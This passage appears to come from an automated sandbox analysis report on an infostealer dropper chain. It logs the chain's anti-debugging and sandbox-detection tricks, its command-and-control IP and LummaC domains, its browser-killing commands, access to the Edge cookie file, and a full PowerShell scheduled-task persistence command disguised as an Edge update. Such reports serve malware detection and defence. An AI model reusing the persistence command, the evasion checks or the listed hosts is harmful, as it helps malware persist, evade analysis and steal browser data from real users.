Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipesc7
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: file.exe, 00000000.00000002.2142613119.0000000000728000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2162334991.0000000000BE8000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2171976391.0000000000BE8000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processorai~&
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D5038F rdtsc

0_2_04D5038F

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0042EAA2 BlockInput,

23_2_0042EAA2

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003E2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

23_2_003E2622

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

23_2_003B42DE

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003D4CE8 mov eax, dword ptr fs:[00000030h]

23_2_003D4CE8

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_00410B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

23_2_00410B62

Source: C:\Windows\System32\regsvr32.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003E2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_003E2622
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_003D083F
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D09D5 SetUnhandledExceptionFilter,	23_2_003D09D5
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_003D0C21

Source: C:\Windows\System32\regsvr32.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 154.216.19.129 58001

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 813d0f4405.exe PID: 4612, type: MEMORYSTR

LummaC encrypted strings found

Source: 41266a11cd.exe, 00000011.00000003.2978620032.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 41266a11cd.exe, 00000011.00000003.2978620032.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 41266a11cd.exe, 00000011.00000003.2978620032.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: 41266a11cd.exe, 00000011.00000003.2978620032.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 41266a11cd.exe, 00000011.00000003.2978620032.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\regsvr32.exe

Thread register set: 3116 5

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

23_2_00411201

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003F2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

23_2_003F2BA5

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0041B226 SendInput,keybd_event,

23_2_0041B226

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_004322DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

23_2_004322DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe "C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe "C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe "C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe "C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata\roaming\poisedcoyote.dll\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{295868a1-856a-4fab-f42c-f90738ae0c77}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries) -runlevel highest"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata\roaming\poisedcoyote.dll\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{295868a1-856a-4fab-f42c-f90738ae0c77}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries) -runlevel highest"

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

23_2_00410B62

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_00411663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

23_2_00411663

Source: 1d003e9e16.exe, 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: regsvr32.exe, 00000010.00000003.2979082755.0000000002E35000.00000004.00000020.00020000.00000000.sdmp, 1d003e9e16.exe	Binary or memory string: Shell_TrayWnd
Source: regsvr32.exe, 00000010.00000003.2979082755.0000000002E35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndg
Source: skotes.exe, skotes.exe, 00000003.00000002.2171976391.0000000000BE8000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: 7Program Manager

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003D0698 cpuid

23_2_003D0698

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
